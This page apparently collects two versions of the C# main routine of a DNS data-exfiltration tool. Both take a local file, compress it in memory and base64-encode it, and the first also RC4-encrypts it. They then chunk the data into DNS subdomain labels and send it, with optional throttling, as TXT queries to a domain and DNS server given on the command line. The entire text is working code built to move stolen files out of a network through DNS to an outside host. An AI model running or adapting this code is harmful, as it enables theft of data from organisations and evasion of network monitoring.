コード例 #1
0
        //------------------------------------------------------------------------------------
        // MAIN FUNCTION
        //------------------------------------------------------------------------------------
        public static void Main(string[] args)
        {
            // Variables
            string filePath   = String.Empty;
            string domainName = String.Empty;
            string password   = String.Empty;

            string fileName       = String.Empty;
            string dnsServer      = null;
            int    throttleTime   = 0;
            string data           = String.Empty;
            string request        = String.Empty;
            int    requestMaxSize = 255;       // DNS request max size = 255 bytes
            int    labelMaxSize   = 63;        // DNS request label max size = 63 chars

            //--------------------------------------------------------------
            // Perform arguments checking
            if (args.Length < 3)
            {
                PrintColor("[!] Missing arguments");
                PrintUsage();
                return;
            }

            filePath   = args[0];
            domainName = args[1];
            password   = args[2];
            fileName   = Path.GetFileName(filePath);

            if (!File.Exists(filePath))
            {
                PrintColor(String.Format("[!] File not found: {0}", filePath));
                return;
            }

            // Do we have additionnal arguments ?
            if (new[] { 4, 5, 6, 7 }.Contains(args.Length))
            {
                int i = 3;
                int param;
                while (i < args.Length)
                {
                    if (args[i].StartsWith("s="))
                    {
                        dnsServer = args[i].Split('=')[1];
                        PrintColor(String.Format("[*] Working with DNS server [{0}]", dnsServer));
                    }
                    else if (args[i].StartsWith("t="))
                    {
                        throttleTime = Convert.ToInt32(args[i].Split('=')[1]);
                        PrintColor(String.Format("[*] Setting throttle time to [{0}] ms", throttleTime));
                    }
                    else if (args[i].StartsWith("r="))
                    {
                        param = Convert.ToInt32(args[i].Split('=')[1]);
                        if (param < 255)
                        {
                            requestMaxSize = param;
                        }
                        PrintColor(String.Format("[*] Setting DNS request max size to [{0}] bytes", requestMaxSize));
                    }
                    else if (args[i].StartsWith("l="))
                    {
                        param = Convert.ToInt32(args[i].Split('=')[1]);
                        if (param < 63)
                        {
                            labelMaxSize = param;
                        }
                        PrintColor(String.Format("[*] Setting label max size to [{0}] chars", labelMaxSize));
                    }
                    i++;
                }
            }

            //--------------------------------------------------------------
            // Compress the file in memory
            PrintColor(String.Format("[*] Compressing (ZIP) the [{0}] file in memory", filePath));
            using (var zipStream = new MemoryStream())
            {
                using (var archive = new ZipArchive(zipStream, ZipArchiveMode.Create, true))
                {
                    var entryFile = archive.CreateEntry(fileName);
                    using (var entryStream = entryFile.Open())
                        using (var streamWriter = new BinaryWriter(entryStream))
                        {
                            streamWriter.Write(File.ReadAllBytes(filePath));
                        }
                }

                zipStream.Seek(0, SeekOrigin.Begin);
                PrintColor(String.Format("[*] Encrypting the ZIP file with password [{0}], then converting it to a base64 representation", password));
                data = Encode(RC4Encrypt.Encrypt(Encoding.UTF8.GetBytes(password), zipStream.ToArray()));
                PrintColor(String.Format("[*] Total size of data to be transmitted: [{0}] bytes", data.Length));
            }

            //--------------------------------------------------------------
            // Compute the size of the chunk and how it can be split into subdomains (labels)
            // https://blogs.msdn.microsoft.com/oldnewthing/20120412-00/?p=7873

            // The bytes available to exfiltrate actual data, keeping 10 bytes to transmit the chunk number:
            // <chunk_number>.<data>.<data>.<data>.domainName.
            int bytesLeft = requestMaxSize - 10 - (domainName.Length + 2);           // domain name space usage in bytes

            int nbFullLabels      = bytesLeft / (labelMaxSize + 1);
            int smallestLabelSize = bytesLeft % (labelMaxSize + 1) - 1;
            int chunkMaxSize      = nbFullLabels * labelMaxSize + smallestLabelSize;
            int nbChunks          = data.Length / chunkMaxSize + 1;

            PrintColor(String.Format("[+] Maximum data exfiltrated per DNS request (chunk max size): [{0}] bytes", chunkMaxSize));
            PrintColor(String.Format("[+] Number of chunks: [{0}]", nbChunks));

            //--------------------------------------------------------------
            // Send the initial request advertising the fileName and the total number of chunks
            request = "init." + Encode(Encoding.UTF8.GetBytes(String.Format("{0}|{1}", fileName, nbChunks))) + "." + domainName;
            PrintColor("[*] Sending 'init' request");
            try {
                string[] reply = DnsResolver.GetTXTRecords(request, dnsServer);
                if (reply[0] != "OK")
                {
                    PrintColor(String.Format("[!] Unexpected answer for an initialization request: [{0}]", reply[0]));
                    return;
                }
            }
            catch (Win32Exception e) {
                PrintColor(String.Format("[!] Unexpected exception occured: [{0}]", e.Message));
                return;
            }

            //--------------------------------------------------------------
            // Send all chunks of data, one by one
            PrintColor("[*] Sending data...");

            string chunk      = String.Empty;
            int    chunkIndex = 0;
            int    countACK;

            for (int i = 0; i < data.Length;)
            {
                // Get a first chunk of data to send
                chunk = data.Substring(i, Math.Min(chunkMaxSize, data.Length - i));
                int chunkLength = chunk.Length;

                // First part of the request is the chunk number
                request = chunkIndex.ToString() + ".";

                // Then comes the chunk data, split into sublabels
                int j = 0;
                while (j * labelMaxSize < chunkLength)
                {
                    request += chunk.Substring(j * labelMaxSize, Math.Min(labelMaxSize, chunkLength - (j * labelMaxSize))) + ".";
                    j++;
                }

                // Eventually comes the top level domain name
                request += domainName;


                // Send the request
                try {
                    string[] reply = DnsResolver.GetTXTRecords(request, dnsServer);
                    countACK = Convert.ToInt32(reply[0]);

                    if (countACK != chunkIndex)
                    {
                        PrintColor(String.Format("[!] Chunk number [{0}] lost.\nResending.", countACK));
                    }
                    else
                    {
                        i += chunkMaxSize;
                        chunkIndex++;
                    }
                }
                catch (Win32Exception e) {
                    PrintColor(String.Format("[!] Unexpected exception occured: [{0}]", e.Message));
                    return;
                }

                // Apply throttle if requested
                if (throttleTime != 0)
                {
                    Thread.Sleep(throttleTime);
                }
            }

            PrintColor("[*] DONE !");
        }         // End Main
コード例 #2
0
        //------------------------------------------------------------------------------------
        // MAIN FUNCTION
        //------------------------------------------------------------------------------------
        public static void Main(string[] args)
        {
            //--------------------------------------------------------------
            // Perform arguments checking
            if (args.Length < 2)
            {
                PrintColor("[!] Missing arguments");
                PrintUsage();
                return;
            }

            string filePath     = args[0];
            string domainName   = args[1];
            string fileName     = Path.GetFileName(filePath);
            string dnsServer    = null;
            int    throttleTime = 0;

            if (!File.Exists(filePath))
            {
                PrintColor(String.Format("[!] File not found: {0}", filePath));
                return;
            }

            // Do we have additionnal arguments ?
            if (new[] { 3, 4 }.Contains(args.Length))
            {
                int i = 2;
                while (i < args.Length)
                {
                    if (args[i].StartsWith("s="))
                    {
                        dnsServer = args[i].Split('=')[1];
                        PrintColor(String.Format("[*] Working with DNS server [{0}]", dnsServer));
                    }
                    else if (args[i].StartsWith("t="))
                    {
                        throttleTime = Convert.ToInt32(args[i].Split('=')[1]);
                        PrintColor(String.Format("[*] Setting throttle time to [{0}ms]", throttleTime));
                    }
                    i++;
                }
            }

            string data = String.Empty;

            //--------------------------------------------------------------
            // Compress the file in memory
            PrintColor(String.Format("[*] Compressing (zip) the [{0}] file in memory", filePath));
            using (var zipStream = new MemoryStream())
            {
                using (var archive = new ZipArchive(zipStream, ZipArchiveMode.Create, true))
                {
                    var entryFile = archive.CreateEntry(fileName);
                    using (var entryStream = entryFile.Open())
                        using (var streamWriter = new BinaryWriter(entryStream))
                        {
                            streamWriter.Write(File.ReadAllBytes(filePath));
                        }
                }

                zipStream.Seek(0, SeekOrigin.Begin);
                PrintColor("[*] Converting the zipped file to a base64 representation");
                data = Encode(zipStream.ToArray());
                PrintColor(String.Format("[*] Total size of data to be transmitted: [{0}] bytes", data.Length));
            }

            //--------------------------------------------------------------
            // Compute the size of the chunk and how it can be split into subdomains (labels)
            // Rationnal: DNS request max size is 255 bytes, each label max size is 63 chars => 64 bytes due to the byte required to code the label length
            // https://blogs.msdn.microsoft.com/oldnewthing/20120412-00/?p=7873
            int bytesLeft         = 255 - (domainName.Length + 2);   // domain name space usage in bytes
            int nbFullLabels      = bytesLeft / 64;
            int smallestLabelSize = bytesLeft % 64 - 1;
            int chunkMaxSize      = nbFullLabels * 63 + smallestLabelSize;
            int nbChunks          = data.Length / chunkMaxSize + 1;

            PrintColor(String.Format("[+] Chunk max size: [{0}] bytes", chunkMaxSize));
            PrintColor(String.Format("[+] Number of chunks: [{0}]", nbChunks));

            //--------------------------------------------------------------
            // Send the initial request advertising the fileName and the total number of chunks
            string request = String.Empty;

            request = "init." + Encode(Encoding.UTF8.GetBytes(String.Format("{0}|{1}", fileName, nbChunks))) + "." + domainName;
            PrintColor("[*] Sending init request");
            try {
                string[] reply = DnsResolver.GetTXTRecords(request, dnsServer);
                if (reply[0] != "OK")
                {
                    PrintColor(String.Format("[!] Unexpected answer for an initialization request: [{0}]", reply[0]));
                    return;
                }
            }
            catch (Win32Exception e) {
                PrintColor(String.Format("[!] Unexpected exception occured: [{0}]", e.Message));
                return;
            }

            //--------------------------------------------------------------
            // Send all chunks of data, one by one
            string chunk = String.Empty;
            int    count = 1;
            int    countACK;

            for (int i = 0; i < data.Length; i += chunkMaxSize)
            {
                request = String.Empty;

                // Get a first chunk of data to send
                chunk = data.Substring(i, Math.Min(chunkMaxSize, data.Length - i));
                int chunkLength = chunk.Length;

                int j = 0;
                while (j * 63 < chunkLength)
                {
                    request += chunk.Substring(j * 63, Math.Min(63, chunkLength - (j * 63))) + ".";
                    j++;
                }

                request += domainName;

                // Now send the request
                try {
                    string[] reply = DnsResolver.GetTXTRecords(request, dnsServer);
                    countACK = Convert.ToInt32(reply[0]);

                    if (countACK != count)
                    {
                        PrintColor(String.Format("[!] Chunk number [{0}] lost !!", countACK));
                    }
                }
                catch (Win32Exception e) {
                    PrintColor(String.Format("[!] Unexpected exception occured: [{0}]", e.Message));
                    return;
                }
                count++;

                // Apply throttle if requested
                if (throttleTime != 0)
                {
                    Thread.Sleep(throttleTime);
                }
            }

            PrintColor("[*] DONE !");
        }         // End Main